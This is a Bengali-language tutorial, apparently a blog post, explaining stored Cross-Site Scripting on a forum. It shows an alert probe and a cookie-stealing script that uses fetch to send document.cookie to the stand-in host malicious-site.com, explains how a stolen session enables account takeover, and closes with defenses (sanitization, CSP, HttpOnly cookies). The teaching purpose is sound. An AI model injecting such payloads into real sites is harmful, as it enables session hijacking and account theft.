Cross-Site Scripting (XSS) হলো এমন একটি নিরাপত্তা দুর্বলতা যেখানে আক্রমণকারী (hacker) ওয়েবসাইটের ভেতরে ম্যালিশাস স্ক্রিপ্ট (malicious script) ইনজেক্ট করতে পারে। এই স্ক্রিপ্ট ব্যবহারকারীর ব্রাউজারে রান করে এবং বিভিন্ন ধরনের ক্ষতিকর কাজ করতে পারে, যেমন: ব্যবহারকারীর কুকি চুরি করা, সেশন হাইজ্যাক করা, বা ফিশিং আক্রমণ চালানো।
বাস্তবে একজন হ্যাকার যেভাবে Cross-Site Scripting (XSS) আক্রমণ করতে পারে, তা সাধারণত কিছু ধাপে সম্পন্ন হয়। এখানে একটি সাধারণ বাস্তব উদাহরণ দিয়ে বোঝানোর চেষ্টা করছি:
বাস্তব উদাহরণ:
প্রেক্ষাপট: একটি জনপ্রিয় ফোরাম ওয়েবসাইট আছে যেখানে ব্যবহারকারীরা বিভিন্ন বিষয়ে আলোচনা করে। এখানে ব্যবহারকারীরা পোস্ট করতে পারে, কমেন্ট করতে পারে এবং অন্যান্য ব্যবহারকারীদের পোস্টের সাথে ইন্টারঅ্যাক্ট করতে পারে।
দুর্বলতা: ওয়েবসাইটটি ব্যবহারকারীর ইনপুট সঠিকভাবে স্যানিটাইজ (sanitize) করে না, অর্থাৎ ইনপুটের মধ্যে থাকা ম্যালিশাস স্ক্রিপ্ট (malicious script) ফিল্টার করা হয় না।
হ্যাকার কীভাবে XSS আক্রমণ করতে পারে?
1. হ্যাকার ওয়েবসাইটটি পর্যবেক্ষণ করে:
- হ্যাকার প্রথমে ওয়েবসাইটটি পর্যবেক্ষণ করে দেখতে পারে যে কোন জায়গায় ব্যবহারকারীর ইনপুট (যেমন কমেন্ট, পোস্ট, প্রোফাইল ইনফরমেশন) সরাসরি ওয়েবপেজে দেখানো হয়।
- হ্যাকার একটি নতুন একাউন্ট তৈরি করে এবং বিভিন্ন ইনপুট ক্ষেত্র (fields) পরীক্ষা করে কোন ধরনের ইনপুট গ্রহণ করে ওয়েবসাইটটি।
2. ম্যালিশাস স্ক্রিপ্ট ইনজেক্ট করা:
- হ্যাকার ধরে নেয় যে ওয়েবসাইটটি সঠিকভাবে ইনপুট স্যানিটাইজ করে না এবং একটি সাধারণ স্ক্রিপ্ট ইনজেক্ট করে:
<script>alert('Hacked!');</script>
- হ্যাকার এই স্ক্রিপ্টটি একটি কমেন্টে লিখে পোস্ট করে। যদি ওয়েবসাইটটি ইনপুট ফিল্টার না করে, তাহলে স্ক্রিপ্টটি ওয়েবপেজে রেন্ডার হবে।
3. আক্রমণ সফল হলে:
- যখনই কোন ব্যবহারকারী সেই কমেন্ট পেজটি ভিজিট করে, তখন সেই স্ক্রিপ্টটি তাদের ব্রাউজারে এক্সিকিউট হবে। এতে একটি
alertউইন্ডো দেখাবে যার মধ্যে লেখা থাকবে “Hacked!”। - এটি একটি সাধারণ উদাহরণ; একটি বাস্তব আক্রমণকারী আরও ক্ষতিকর স্ক্রিপ্ট ইনজেক্ট করতে পারে, যেমন ব্যবহারকারীর কুকি চুরি করার জন্য:
<script>
fetch('http://malicious-site.com/steal-cookie?cookie=' + document.cookie);
</script>
কিভাবে এই স্ক্রিপ্টটি কাজ করে:
- document.cookie:
- এই জাভাস্ক্রিপ্ট কোডটি আপনার ব্রাউজারে রান হলে
document.cookieকমান্ডের মাধ্যমে আপনার বর্তমান সেশন বা সাইটের সমস্ত কুকি পড়ে নেয়। - কুকিতে সাধারণত আপনার সেশনের আইডি, লগইন টোকেন ইত্যাদি থাকে যা আপনার অ্যাকাউন্টে সরাসরি প্রবেশের অনুমতি দেয়।
- এই জাভাস্ক্রিপ্ট কোডটি আপনার ব্রাউজারে রান হলে
- fetch মেথড:
fetchএকটি জাভাস্ক্রিপ্ট মেথড যা সার্ভারের সাথে ডেটা পাঠাতে এবং গ্রহণ করতে ব্যবহার করা হয়।- এখানে, হ্যাকার
fetchমেথডটি ব্যবহার করে আপনার কুকি ডেটা একটি ম্যালিশাস সার্ভারে পাঠাচ্ছে।
- URL-এ কুকি যুক্ত করা:
'http://malicious-site.com/steal-cookie?cookie=' + document.cookieঅংশটি আপনার কুকি ডেটাকে URL এর অংশ হিসেবে ম্যালিশাস সার্ভারে পাঠাচ্ছে।- উদাহরণস্বরূপ, যদি আপনার কুকিতে
"sessionID=abc123"থাকে, তাহলে এই কোডটি ম্যালিশাস সার্ভারে নিচের মত একটি রিকোয়েস্ট পাঠাবে:
http://malicious-site.com/steal-cookie?cookie=sessionID=abc123
- ই URL-টি হ্যাকারকে সরাসরি আপনার কুকি পাঠিয়ে দেয়, যা সে তার সার্ভারে সংগ্রহ করে।
হ্যাকার কিভাবে এটি ব্যবহার করতে পারে:
- হ্যাকার যখন আপনার কুকি পেয়ে যায়, সে আপনার সেশন আইডি ব্যবহার করে সরাসরি আপনার অ্যাকাউন্টে লগইন করতে পারে।
- এতে হ্যাকার আপনার ব্যক্তিগত তথ্য দেখতে পারে, আপনার নামে কাজ করতে পারে এবং আপনার অ্যাকাউন্টের উপর পূর্ণ নিয়ন্ত্রণ পেতে পারে।
কিভাবে এই আক্রমণ প্রতিরোধ করা যায়:
- ইনপুট স্যানিটাইজেশন: সমস্ত ইনপুট ফিল্ডে (যেখানে ব্যবহারকারী ডেটা দিতে পারে) সঠিকভাবে স্যানিটাইজ করা এবং ম্যালিশাস স্ক্রিপ্ট রিমুভ বা এনকোড করা।
- কন্টেন্ট সিকিউরিটি পলিসি (CSP): একটি শক্তিশালী কন্টেন্ট সিকিউরিটি পলিসি বাস্তবায়ন করা, যা ম্যালিশাস স্ক্রিপ্টের এক্সিকিউশন প্রতিরোধ করে।
- HttpOnly কুকিজ: ব্যবহারকারীর সেশনের কুকিগুলো HttpOnly এবং Secure কুকি হিসেবে সেট করা যাতে স্ক্রিপ্টের মাধ্যমে তা অ্যাক্সেস করা না যায়।
উপসংহার:
XSS আক্রমণ অত্যন্ত ক্ষতিকর হতে পারে যদি ওয়েবসাইটের ইনপুট স্যানিটাইজেশন সঠিকভাবে করা না হয়। উপরের উদাহরণের মাধ্যমে বোঝানো হলো কিভাবে হ্যাকার সহজে একটি ওয়েবসাইটকে টার্গেট করে ব্যবহারকারীদের তথ্য চুরি করতে পারে। এর জন্য সবসময় ইনপুট স্যানিটাইজেশন এবং অন্যান্য নিরাপত্তা প্রটোকলগুলো মেনে চলা উচিত।